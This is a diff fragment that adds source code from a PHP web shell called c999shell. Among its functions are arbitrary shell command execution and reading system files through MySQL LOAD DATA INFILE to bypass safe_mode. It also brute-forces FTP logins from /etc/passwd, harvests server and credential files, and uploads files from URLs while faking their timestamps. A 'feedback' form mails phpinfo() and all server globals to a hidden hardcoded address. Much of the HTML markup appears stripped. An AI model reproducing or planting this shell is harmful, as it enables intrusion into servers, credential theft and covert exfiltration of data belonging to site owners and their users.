+ header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
+ echo $ret;
+ exit;
+ }
+ elseif ($sql_dump_savetofile)
+ {
+ $fp = fopen($sql_dump_file,"w");
+ if (!$fp) {echo "Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
+ else
+ {
+ fwrite($fp,$ret);
+ fclose($fp);
+ echo "Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).") .";
+ }
+ }
+ else {echo "Dump: nothing to do! ";}
+ }
+ }
+ if ($diplay)
+ {
+ if (!empty($sql_tbl))
+ {
+ if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
+ $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
+ $count_row = mysql_fetch_array($count);
+ mysql_free_result($count);
+ $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
+ $tbl_struct_fields = array();
+ while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
+ if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
+ if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
+ if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
+ if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
+ $perpage = $sql_tbl_le - $sql_tbl_ls;
+ if (!is_numeric($perpage)) {$perpage = 10;}
+ $numpages = $count_row[0]/$perpage;
+ $e = explode(" ",$sql_order);
+ if (count($e) == 2)
+ {
+ if ($e[0] == "d") {$asc_desc = "DESC";}
+ else {$asc_desc = "ASC";}
+ $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
+ }
+ else {$v = "";}
+ $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
+ $result = mysql_query($query) or print(mysql_smarterror());
+ echo " Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows) ";
+ echo "[ Structure ] ";
+ echo "[ Browse ] ";
+ echo "[ Dump ] ";
+ echo "[ Insert ] ";
+ if ($sql_tbl_act == "structure") {echo "Coming sooon! ";}
+ if ($sql_tbl_act == "insert")
+ {
+ if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
+ if (!empty($sql_tbl_insert_radio))
+ {
+
+ }
+ else
+ {
+ echo "Inserting row into table: ";
+ if (!empty($sql_tbl_insert_q))
+ {
+ $sql_query = "SELECT * FROM `".$sql_tbl."`";
+ $sql_query .= " WHERE".$sql_tbl_insert_q;
+ $sql_query .= " LIMIT 1;";
+ $result = mysql_query($sql_query,$sql_sock) or print(" ".mysql_smarterror());
+ $values = mysql_fetch_assoc($result);
+ mysql_free_result($result);
+ }
+ else {$values = array();}
+ echo " ";
+ echo "Insert as new row ";
+ if (!empty($sql_tbl_insert_q)) {echo " or Save "; echo " ";}
+ echo " ";
+ }
+ }
+ if ($sql_tbl_act == "browse")
+ {
+ $sql_tbl_ls = abs($sql_tbl_ls);
+ $sql_tbl_le = abs($sql_tbl_le);
+ echo " ";
+ echo " ";
+ $b = 0;
+ for($i=0;$i<$numpages;$i++)
+ {
+ if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "";}
+ echo $i;
+ if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo " ";}
+ if (($i/30 == round($i/30)) and ($i > 0)) {echo " ";}
+ else {echo " ";}
+ }
+ if ($i == 0) {echo "empty";}
+ echo "From: To: ";
+ echo "";
+ echo "With selected: ";
+ echo "Delete ";
+ echo "
";
+ }
+ }
+ else
+ {
+ $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
+ if (!$result) {echo mysql_smarterror();}
+ else
+ {
+ echo "";
+ echo "With selected: ";
+ echo "Drop ";
+ echo "Empty ";
+ echo "Dump ";
+ echo "Check table ";
+ echo "Optimize table ";
+ echo "Repair table ";
+ echo "Analyze table ";
+ echo "
";
+ mysql_free_result($result);
+ }
+ }
+ }
+ }
+ }
+ else
+ {
+ $acts = array("","newdb","serverstatus","servervars","processes","getfile");
+ if (in_array($sql_act,$acts)) {?>";
+ if ($sql_act == "newdb")
+ {
+ echo "";
+ if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success! ";}
+ else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\". Reason: ".mysql_smarterror();}
+ }
+ if ($sql_act == "serverstatus")
+ {
+ $result = mysql_query("SHOW STATUS", $sql_sock);
+ echo "Server-status variables: ";
+ echo "Name Value ";
+ while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "".$row[0]." ".$row[1]." ";}
+ echo "
";
+ mysql_free_result($result);
+ }
+ if ($sql_act == "servervars")
+ {
+ $result = mysql_query("SHOW VARIABLES", $sql_sock);
+ echo "Server variables: ";
+ echo "Name Value ";
+ while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "".$row[0]." ".$row[1]." ";}
+ echo "
";
+ mysql_free_result($result);
+ }
+ if ($sql_act == "processes")
+ {
+ if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "Killing process #".$kill."... ok. he is dead, amen. ";}
+ $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
+ echo "Processes: ";
+ echo "ID USER HOST DB COMMAND TIME STATE INFO Action ";
+ while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "".$row[0]." ".$row[1]." ".$row[2]." ".$row[3]." ".$row[4]." ".$row[5]." ".$row[6]." ".$row[7]." Kill ";}
+ echo "
";
+ mysql_free_result($result);
+ }
+ if ($sql_act == "getfile")
+ {
+ $tmpdb = $sql_login."_tmpdb";
+ $select = mysql_select_db($tmpdb);
+ if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
+ if ($select)
+ {
+ $created = FALSE;
+ mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
+ mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
+ $result = mysql_query("SELECT * FROM tmp_file;");
+ if (!$result) {echo "Error in reading file (permision denied)! ";}
+ else
+ {
+ for ($i=0;$iFile \"".$sql_getfile."\" does not exists or empty! ";}
+ else {echo "File \"".$sql_getfile."\": ".nl2br(htmlspecialchars($f))." ";}
+ mysql_free_result($result);
+ mysql_query("DROP TABLE tmp_file;");
+ }
+ }
+ mysql_drop_db($tmpdb); //comment it if you want to leave database
+ }
+ }
+ }
+ }
+ echo "
";
+ if ($sql_sock)
+ {
+ $affected = @mysql_affected_rows($sql_sock);
+ if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
+ echo " Affected rows: ".$affected." ";
+ }
+ echo "
";
+}
+if ($act == "mkdir")
+{
+ if ($mkdir != $d)
+ {
+ if (file_exists($mkdir)) {echo "Make Dir \"".htmlspecialchars($mkdir)."\" : object alredy exists";}
+ elseif (!mkdir($mkdir)) {echo "Make Dir \"".htmlspecialchars($mkdir)."\" : access denied";}
+ echo " ";
+ }
+ $act = $dspact = "ls";
+}
+if ($act == "ftpquickbrute")
+{
+ echo "Ftp Quick brute: ";
+ if (!win) {echo "This functions not work in Windows! ";}
+ else
+ {
+ function c999ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh)
+ {
+ if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));}
+ else {$TRUE = TRUE;}
+ if ($TRUE)
+ {
+ $sock = @ftp_connect($host,$port,$timeout);
+ if (@ftp_login($sock,$login,$pass))
+ {
+ echo "Connected to ".$host." with login \"".$login."\" and password \"".$pass."\" . ";
+ ob_flush();
+ return TRUE;
+ }
+ }
+ }
+ if (!empty($submit))
+ {
+ if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
+ $fp = fopen("/etc/passwd","r");
+ if (!$fp) {echo "Can't get /etc/passwd for password-list.";}
+ else
+ {
+ if ($fqb_logging)
+ {
+ if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
+ else {$fqb_logfp = FALSE;}
+ $fqb_log = "FTP Quick Brute (called c999shell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n";
+ if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
+ }
+ ob_flush();
+ $i = $success = 0;
+ $ftpquick_st = getmicrotime();
+ while(!feof($fp))
+ {
+ $str = explode(":",fgets($fp,2048));
+ if (c999ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh))
+ {
+ echo "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\" ";
+ $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n";
+ if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
+ $success++;
+ ob_flush();
+ }
+ if ($i > $fqb_lenght) {break;}
+ $i++;
+ }
+ if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";}
+ $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
+ echo "Done! Total time (secs.): ".$ftpquick_t." Total connections: ".$i." Success.: ".$success." Unsuccess.:".($i-$success)." Connects per second: ".round($i/$ftpquick_t,2)." ";
+ $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n";
+ if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
+ if ($fqb_logemail) {@mail($fqb_logemail,"c999shell v. ".$shver." report",$fqb_log);}
+ fclose($fqb_logfp);
+ }
+ }
+ else
+ {
+ $logfile = $tmpdir_logs."c999sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log";
+ $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);
+ echo " Read first: Users only with shell? Logging? Logging to file? Logging to e-mail? ";
+ }
+ }
+}
+if ($act == "d")
+{
+ if (!is_dir($d)) {echo "Permision denied! ";}
+ else
+ {
+ echo "Directory information: ";
+ if (!$win)
+ {
+ echo "Owner/Group ";
+ $ow = posix_getpwuid(fileowner($d));
+ $gr = posix_getgrgid(filegroup($d));
+ $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
+ }
+ echo " Perms ".view_perms_color($d)." Create time ".date("d/m/Y H:i:s",filectime($d))." Access time ".date("d/m/Y H:i:s",fileatime($d))." MODIFY time ".date("d/m/Y H:i:s",filemtime($d))."
";
+ }
+}
+if ($act == "phpinfo") {@ob_clean(); phpinfo(); c999shexit();}
+if ($act == "security")
+{
+ echo "Server security information: Open base dir: ".$hopenbasedir." ";
+ if (!$win)
+ {
+ if ($nixpasswd)
+ {
+ if ($nixpasswd == 1) {$nixpasswd = 0;}
+ echo "*nix /etc/passwd: ";
+ if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
+ if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
+ echo "From: To: ";
+ $i = $nixpwd_s;
+ while ($i < $nixpwd_e)
+ {
+ $uid = posix_getpwuid($i);
+ if ($uid)
+ {
+ $uid["dir"] = "".$uid["dir"]." ";
+ echo join(":",$uid)." ";
+ }
+ $i++;
+ }
+ }
+ else {echo "Get /etc/passwd ";}
+ }
+ else
+ {
+ $v = $_SERVER["WINDIR"]."\repair\sam";
+ if (file_get_contents($v)) {echo "You can't crack winnt passwords(".$v.") ";}
+ else {echo "You can crack winnt passwords. Download , and use lcp.crack+ ©. ";}
+ }
+ if (file_get_contents("/etc/userdomains")) {echo "View cpanel user-domains logs ";}
+ if (file_get_contents("/var/cpanel/accounting.log")) {echo "View cpanel logs ";}
+ if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "Apache configuration (httpd.conf) ";}
+ if (file_get_contents("/etc/httpd.conf")) {echo "Apache configuration (httpd.conf) ";}
+ if (file_get_contents("/etc/syslog.conf")) {echo "Syslog configuration (syslog.conf) ";}
+ if (file_get_contents("/etc/motd")) {echo "Message Of The Day ";}
+ if (file_get_contents("/etc/hosts")) {echo "Hosts ";}
+ function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "".$name." - ";} echo $name.nl2br($value)." ";}}
+ displaysecinfo("OS Version?",myshellexec("cat /proc/version"));
+ displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version"));
+ displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net"));
+ displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise"));
+ displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo"));
+ displaysecinfo("RAM",myshellexec("free -m"));
+ displaysecinfo("HDD space",myshellexec("df -h"));
+ displaysecinfo("List of Attributes",myshellexec("lsattr -a"));
+ displaysecinfo("Mount options ",myshellexec("cat /etc/fstab"));
+ displaysecinfo("Is cURL installed?",myshellexec("which curl"));
+ displaysecinfo("Is lynx installed?",myshellexec("which lynx"));
+ displaysecinfo("Is links installed?",myshellexec("which links"));
+ displaysecinfo("Is fetch installed?",myshellexec("which fetch"));
+ displaysecinfo("Is GET installed?",myshellexec("which GET"));
+ displaysecinfo("Is perl installed?",myshellexec("which perl"));
+ displaysecinfo("Where is apache",myshellexec("whereis apache"));
+ displaysecinfo("Where is perl?",myshellexec("whereis perl"));
+ displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf"));
+ displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf"));
+ displaysecinfo("locate my.conf",myshellexec("locate my.conf"));
+ displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf"));
+}
+if ($act == "mkfile")
+{
+ if ($mkfile != $d)
+ {
+ if (file_exists($mkfile)) {echo "Make File \"".htmlspecialchars($mkfile)."\" : object alredy exists";}
+ elseif (!fopen($mkfile,"w")) {echo "Make File \"".htmlspecialchars($mkfile)."\" : access denied";}
+ else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
+ }
+ else {$act = $dspact = "ls";}
+}
+if ($act == "encoder")
+{
+ echo "Encoder: Input: ".@htmlspecialchars($encoder_input)." Hashes :";
+ foreach(array("md5","crypt","sha1","crc32") as $v)
+ {
+ echo $v." - ";
+ }
+ echo " Url: urlencode -
+ urldecode -
+ Base64: base64_encode - ";
+ echo "base64_decode - ";
+ if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo " ";}
+ else
+ {
+ $debase64 = base64_decode($encoder_input);
+ $debase64 = str_replace("\0","[0]",$debase64);
+ $a = explode("\r\n",$debase64);
+ $rows = count($a);
+ $debase64 = htmlspecialchars($debase64);
+ if ($rows == 1) {echo " ";}
+ else {$rows++; echo "".$debase64." ";}
+ echo " ^ ";
+ }
+ echo " Base convertations :dec2hex - ";
+}
+if ($act == "fsbuff")
+{
+ $arr_copy = $sess_data["copy"];
+ $arr_cut = $sess_data["cut"];
+ $arr = array_merge($arr_copy,$arr_cut);
+ if (count($arr) == 0) {echo "Buffer is empty! ";}
+ else {echo "File-System buffer "; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";}
+}
+if ($act == "selfremove")
+{
+ if (($submit == $rndcode) and ($submit != ""))
+ {
+ if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c999shell v.".$shver."!"; c999shexit(); }
+ else {echo "Can't delete ".__FILE__."! ";}
+ }
+ else
+ {
+ if (!empty($rndcode)) {echo "Error: incorrect confimation! ";}
+ $rnd = rand(0,9).rand(0,9).rand(0,9);
+ echo "Self-remove: ".__FILE__." Are you sure? For confirmation, enter \"".$rnd."\" : ";
+ }
+}
+if ($act == "update") {$ret = c999sh_getupdate(!!$confirmupdate); echo "".$ret." "; if (stristr($ret,"new version")) {echo " ";}}
+if ($act == "feedback")
+{
+ $suppmail = base64_decode("Yzk5c2hlbGxAY2N0ZWFtLnJ1");
+ if (!empty($submit))
+ {
+ $ticket = substr(md5(microtime()+rand(1,1000)),0,6);
+ $body = "c999shell v.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR;
+ if (!empty($fdbk_ref))
+ {
+ $tmp = @ob_get_contents();
+ ob_clean();
+ phpinfo();
+ $phpinfo = base64_encode(ob_get_contents());
+ ob_clean();
+ echo $tmp;
+ $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n";
+ }
+ mail($suppmail,"c999shell v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail);
+ echo "Thanks for your feedback! Your ticket ID: ".$ticket.". ";
+ }
+ else {echo "Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."): Your name: Your e-mail: Message:".htmlspecialchars($fdbk_body)." Attach server-info * There are no checking in the form. * - strongly recommended, if you report bug, because we need it for bug-fix. We understand languages: English, Russian. ";}
+}
+if ($act == "search")
+{
+ echo "Search in file-system: ";
+ if (empty($search_in)) {$search_in = $d;}
+ if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
+ if (empty($search_text_wwo)) {$search_text_regexp = 0;}
+ if (!empty($submit))
+ {
+ $found = array();
+ $found_d = 0;
+ $found_f = 0;
+ $search_i_f = 0;
+ $search_i_d = 0;
+ $a = array
+ (
+ "name"=>$search_name, "name_regexp"=>$search_name_regexp,
+ "text"=>$search_text, "text_regexp"=>$search_text_regxp,
+ "text_wwo"=>$search_text_wwo,
+ "text_cs"=>$search_text_cs,
+ "text_not"=>$search_text_not
+ );
+ $searchtime = getmicrotime();
+ $in = array_unique(explode(";",$search_in));
+ foreach($in as $v) {c999fsearch($v);}
+ $searchtime = round(getmicrotime()-$searchtime,4);
+ if (count($found) == 0) {echo "No files found! ";}
+ else
+ {
+ $ls_arr = $found;
+ $disp_fullpath = TRUE;
+ $act = "ls";
+ }
+ }
+ echo "
+
+Search for (file/folder name): - regexp
+Search in (explode \";\"):
+Text: ".htmlspecialchars($search_text)."
+ - regexp
+ - w hole words only
+ - case sensitive
+ - find files NOT containing the text
+ ";
+ if ($act == "ls") {$dspact = $act; echo "Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second). ";}
+}
+if ($act == "chmod")
+{
+ $mode = fileperms($d.$f);
+ if (!$mode) {echo "Change file-mode with error: can't get current value.";}
+ else
+ {
+ $form = TRUE;
+ if ($chmod_submit)
+ {
+ $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
+ if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";}
+ else {$err = "Can't chmod to ".$octet.".";}
+ }
+ if ($form)
+ {
+ $perms = parse_perms($mode);
+ echo "Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).") ".($err?"Error: ".$err:"")." ";
+ }
+ }
+}
+if ($act == "upload")
+{
+ $uploadmess = "";
+ $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath);
+ if (empty($uploadpath)) {$uploadpath = $d;}
+ elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";}
+ if (!empty($submit))
+ {
+ global $HTTP_POST_FILES;
+ $uploadfile = $HTTP_POST_FILES["uploadfile"];
+ if (!empty($uploadfile["tmp_name"]))
+ {
+ if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
+ else {$destin = $userfilename;}
+ if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"! ";}
+ }
+ elseif (!empty($uploadurl))
+ {
+ if (!empty($uploadfilename)) {$destin = $uploadfilename;}
+ else
+ {
+ $destin = explode("/",$destin);
+ $destin = $destin[count($destin)-1];
+ if (empty($destin))
+ {
+ $i = 0;
+ $b = "";
+ while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}}
+ }
+ if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "Incorect url! ";}
+ else
+ {
+ $st = getmicrotime();
+ $content = @file_get_contents($uploadurl);
+ $dt = round(getmicrotime()-$st,4);
+ if (!$content) {$uploadmess .= "Can't download file! ";}
+ else
+ {
+ if ($filestealth) {$stat = stat($uploadpath.$destin);}
+ $fp = fopen($uploadpath.$destin,"w");
+ if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."! ";}
+ else
+ {
+ fwrite($fp,$content,strlen($content));
+ fclose($fp);
+ if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);}
+ }
+ }
+ }
+ }
+ }
+ if ($miniform)
+ {
+ echo "".$uploadmess." ";
+ $act = "ls";
+ }
+ else
+ {
+ echo "File upload: ".$uploadmess."
+Select file on your local computer: or
+Input URL:
+Save this file dir:
+File-name (auto-fill):
+ convert file name to lovercase
+
+ ";
+ }
+}
+if ($act == "delete")
+{
+ $delerr = "";
+ foreach ($actbox as $v)
+ {
+ $result = FALSE;
+ $result = fs_rmobj($v);
+ if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)." ";}
+ }
+ if (!empty($delerr)) {echo "Deleting with errors: ".$delerr;}
+ $act = "ls";
+}
+if (!$usefsbuff)
+{
+ if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE. ";}
+}
+else
+{
+ if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c999_sess_put($sess_data); $act = "ls"; }
+ elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c999_sess_put($sess_data); $act = "ls";}
+ elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c999_sess_put($sess_data); $act = "ls";}
+ if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c999_sess_put($sess_data);}
+ elseif ($actpastebuff)
+ {
+ $psterr = "";
+ foreach($sess_data["copy"] as $k=>$v)
+ {
+ $to = $d.basename($v);
+ if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."! ";}
+ if ($copy_unset) {unset($sess_data["copy"][$k]);}
+ }
+ foreach($sess_data["cut"] as $k=>$v)
+ {
+ $to = $d.basename($v);
+ if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."! ";}
+ unset($sess_data["cut"][$k]);
+ }
+ c999_sess_put($sess_data);
+ if (!empty($psterr)) {echo "Pasting with errors: ".$psterr;}
+ $act = "ls";
+ }
+ elseif ($actarcbuff)
+ {
+ $arcerr = "";
+ if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
+ else {$ext = ".tar.gz";}
+ if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
+ $cmdline .= " ".$actarcbuff_path;
+ $objects = array_merge($sess_data["copy"],$sess_data["cut"]);
+ foreach($objects as $v)
+ {
+ $v = str_replace("\\",DIRECTORY_SEPARATOR,$v);
+ if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
+ if (is_dir($v))
+ {
+ if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
+ $v .= "*";
+ }
+ $cmdline .= " ".$v;
+ }
+ $tmp = realpath(".");
+ chdir($d);
+ $ret = myshellexec($cmdline);
+ chdir($tmp);
+ if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")! ";}
+ $ret = str_replace("\r\n","\n",$ret);
+ $ret = explode("\n",$ret);
+ if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
+ foreach($sess_data["cut"] as $k=>$v)
+ {
+ if (in_array($v,$ret)) {fs_rmobj($v);}
+ unset($sess_data["cut"][$k]);
+ }
+ c999_sess_put($sess_data);
+ if (!empty($arcerr)) {echo "Archivation errors: ".$arcerr;}
+ $act = "ls";
+ }
+ elseif ($actpastebuff)
+ {
+ $psterr = "";
+ foreach($sess_data["copy"] as $k=>$v)
+ {
+ $to = $d.basename($v);
+ if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."! ";}
+ if ($copy_unset) {unset($sess_data["copy"][$k]);}
+ }
+ foreach($sess_data["cut"] as $k=>$v)
+ {
+ $to = $d.basename($v);
+ if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."! ";}
+ unset($sess_data["cut"][$k]);
+ }
+ c999_sess_put($sess_data);
+ if (!empty($psterr)) {echo "Pasting with errors: ".$psterr;}
+ $act = "ls";
+ }
+}
+if ($act == "cmd")
+{
+if (trim($cmd) == "ps -aux") {$act = "processes";}
+elseif (trim($cmd) == "tasklist") {$act = "processes";}
+else
+{
+ @chdir($chdir);
+ if (!empty($submit))
+ {
+ echo "Result of execution this command : ";
+ $olddir = realpath(".");
+ @chdir($d);
+ $ret = myshellexec($cmd);
+ $ret = convert_cyr_string($ret,"d","w");
+ if ($cmd_txt)
+ {
+ $rows = count(explode("\r\n",$ret))+1;
+ if ($rows < 10) {$rows = 10;}
+ echo "".htmlspecialchars($ret)." ";
+ }
+ else {echo $ret." ";}
+ @chdir($olddir);
+ }
+ else {echo "Execution command "; if (empty($cmd_txt)) {$cmd_txt = TRUE;}}
+ echo "".htmlspecialchars($cmd)." Display in text-area ";
+}
+}
+if ($act == "ls")
+{
+ if (count($ls_arr) > 0) {$list = $ls_arr;}
+ else
+ {
+ $list = array();
+ if ($h = @opendir($d))
+ {
+ while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
+ closedir($h);
+ }
+ else {}
+ }
+ if (count($list) == 0) {echo "Can't open folder (".htmlspecialchars($d).")! ";}
+ else
+ {
+ //Building array
+ $objects = array();
+ $vd = "f"; //Viewing mode
+ if ($vd == "f")
+ {
+ $objects["head"] = array();
+ $objects["folders"] = array();
+ $objects["links"] = array();
+ $objects["files"] = array();
+ foreach ($list as $v)
+ {
+ $o = basename($v);
+ $row = array();
+ if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";}
+ elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";}
+ elseif (is_dir($v))
+ {
+ if (is_link($v)) {$type = "LINK";}
+ else {$type = "DIR";}
+ $row[] = $v;
+ $row[] = $type;
+ }
+ elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
+ $row[] = filemtime($v);
+ if (!$win)
+ {
+ $ow = posix_getpwuid(fileowner($v));
+ $gr = posix_getgrgid(filegroup($v));
+ $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
+ }
+ $row[] = fileperms($v);
+ if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
+ elseif (is_link($v)) {$objects["links"][] = $row;}
+ elseif (is_dir($v)) {$objects["folders"][] = $row;}
+ elseif (is_file($v)) {$objects["files"][] = $row;}
+ $i++;
+ }
+ $row = array();
+ $row[] = "Name ";
+ $row[] = "Size ";
+ $row[] = "Modify ";
+ if (!$win)
+ {$row[] = "Owner/Group ";}
+ $row[] = "Perms ";
+ $row[] = "Action ";
+ $parsesort = parsesort($sort);
+ $sort = $parsesort[0].$parsesort[1];
+ $k = $parsesort[0];
+ if ($parsesort[1] != "a") {$parsesort[1] = "d";}
+ $y = "";
+ $y .= " ";
+ $row[$k] .= $y;
+ for($i=0;$i".$row[$i]."";}
+ }
+ $v = $parsesort[0];
+ usort($objects["folders"], "tabsort");
+ usort($objects["links"], "tabsort");
+ usort($objects["files"], "tabsort");
+ if ($parsesort[1] == "d")
+ {
+ $objects["folders"] = array_reverse($objects["folders"]);
+ $objects["files"] = array_reverse($objects["files"]);
+ }
+ $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
+ $tab = array();
+ $tab["cols"] = array($row);
+ $tab["head"] = array();
+ $tab["folders"] = array();
+ $tab["links"] = array();
+ $tab["files"] = array();
+ $i = 0;
+ foreach ($objects as $a)
+ {
+ $v = $a[0];
+ $o = basename($v);
+ $dir = dirname($v);
+ if ($disp_fullpath) {$disppath = $v;}
+ else {$disppath = $o;}
+ $disppath = str2mini($disppath,60);
+ if (in_array($v,$sess_data["cut"])) {$disppath = "".$disppath." ";}
+ elseif (in_array($v,$sess_data["copy"])) {$disppath = "".$disppath." ";}
+ foreach ($regxp_highlight as $r)
+ {
